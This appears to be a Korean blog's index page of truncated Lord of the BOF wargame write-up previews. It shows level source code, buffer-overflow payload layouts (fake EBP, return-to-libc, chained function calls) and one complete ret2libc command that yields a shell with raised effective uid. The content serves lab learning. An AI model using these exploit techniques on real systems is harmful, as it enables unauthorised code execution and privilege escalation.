본문 바로가기

wargame/LOB Redhat

LOB풀다가 생긴 의문점 [+]cobolt풀때1. buf에 놉 10만개줫을떄 나오는 세그폴트당연하다. buf는 스택에 위치해있고, 임시버퍼에서 memcpy로 buf에 복사하면서 0xc0000000을 넘어가면서 페이지 참조오류가 생김. 2.bash로 하고 argv에 줫을때 나는 오류 추적 gets는 엔터로 입력을 받는데 bash로 하니까 0a가 안들어가서 게속 read로 입력을 받는 오류가 발생한다. 더보기
death_knight You're so great! This is a token to the next gate. ,. ,' `. ,' __ `. ,'.-'____`-.`. ,'_.-'' ``-._`. ,',' /\ `.`. ,' /.._ O / \ O _.,\ `. ,'/ / \ ``-;.--.:-'' / \ \`. ,' : : \ /\`.,'/\ / : : `. () `. : : / \/,'`.\/ \ ; ; ,' `.\ \ /_..-:`--';-.._\ / /,' `. \`' O \ / O `'/ ,' `.`._ \/ _,',' `..``-.____.-'',,' `.`-.____.-',' `. ,' `. ,' `' 더보기
xavius to death_knight 소스를 보자.[xavius@localhost xavius]$ cat death_knight.c/* The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF*/ #include #include #include #include #include #include #include #include #include main(){ char buffer[40]; int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size; if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){.. 더보기
nightmare to xavius [nightmare@localhost nightmare]$ cat xavius.c/* The Lord of the BOF : The Fellowship of the BOF - xavius - arg*/ #include #include #include main(){ char buffer[40]; char *ret_addr; // overflow! fgets(buffer, 256, stdin); printf("%s\n", buffer); if(*(buffer+47) == '\xbf') { printf("stack retbayed you!\n"); exit(0); } if(*(buffer+47) == '\x08') { printf("binary image retbayed you, too!!\n"); exit(.. 더보기
succubus to nightmare 소스, 소스를 보자[succubus@localhost succubus]$ cat nightmare.c/* The Lord of the BOF : The Fellowship of the BOF - nightmare - PLT*/ #include #include #include #include main(int argc, char *argv[]){ char buffer[40]; char *addr; if(argc < 2){ printf("argv error\n"); exit(0); } // check address addr = (char *)&strcpy; //strcpy의 주소를 받아옴 if(memcmp(argv[1]+44, &addr, 4) != 0){ //ret이 strcpy의 주소가 아닐시, 종료 pr.. 더보기
zombie_assasin to succubus 소스를 보자. [zombie_assassin@localhost zombie_assassin]$ cat succubus.c/* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously*/ #include #include #include // dumpcode가 추가되어 있음 // the inspector //검사자int check = 0; void MO(char *cmd){ if(check != 4) exit(0); printf("welcome to the MO!\n"); // olleh! system(cmd);} void YUT(void){ if(check != 3) exit(0); printf("w.. 더보기
assassin to zombie_assassin 소스를 보면 FEBP라고 주석에 되어있다. 이는 fake ebp를 이야기 하는 것 같다.왜냐하면 strncpy를 통해서 48만큼만 복사하는데 이것은 ret이후에는 덮어 씌울수가 없다는것을 뜻하는데 ret을 stack 또는 lib의 주소도 못넣게 해놓았기 때문이다. 나는 이번 공격을 이전의 assassin에서 사용한 공격을 응용하여 ret에 leave의 주소를 넣어서 esp를 조작하겟다.그래서 다른주소에서 ret을 뽑아낼 수 있도록 유도 할 것이다.이는 buffer에 초기화 코드가 없기 때문에 가능한 공격이다. payload의 작성[&system][&exit][&"/bin/sh"]["x"*28][fake ebp-4][&leave] leave주소 구하기[assassin@localhost assassin]$ .. 더보기
giant to assasin 소스를 보면 ret을 스택상의 주소로도, 라이브러리의 주소로도 할 수 없다. 그래서 고민 하던중.. 재밋는 것을 발견햇다. [giant@localhost giant]$ gdb -q assassin(gdb) set disassembly-flavor intel(gdb) disassemble mainDump of assembler code for function main:0x8048470 : push %ebp0x8048471 : mov %ebp,%esp0x8048473 : sub %esp,400x8048476 : cmp DWORD PTR [%ebp+8],10x804847a : jg 0x8048493 0x804847c : push 0x80485700x8048481 : call 0x8048378 0x8048486.. 더보기
bugbear to giant 소스를 보면, [bugbear@localhost bugbear]$ cat giant.c/* The Lord of the BOF : The Fellowship of the BOF - giant - RTL2*/ #include #include #include main(int argc, char *argv[]){ char buffer[40]; FILE *fp; char *lib_addr, *execve_offset, *execve_addr; char *ret; if(argc < 2){ printf("argv error\n"); exit(0); } // gain address of execve fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /.. 더보기
darkknight to bugbear 소스를 보면 처음에 주석에 친절히 RTL이라 적혀잇고,문제에서 ret의 시작주소가 bf가 되면 안된다. 그러므로 ret2libc공격을 사용해서 쉽게 공략 하겟다. [payload]["x"*44][&system]["aaaa"][&"/bin/sh"] 공격 [darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "x"x44,"\xe0\x8a\x05\x40","aaaa","\xf9\xbf\x0f\x40";'`xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?@aaaa廈@bash$ iduid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups.. 더보기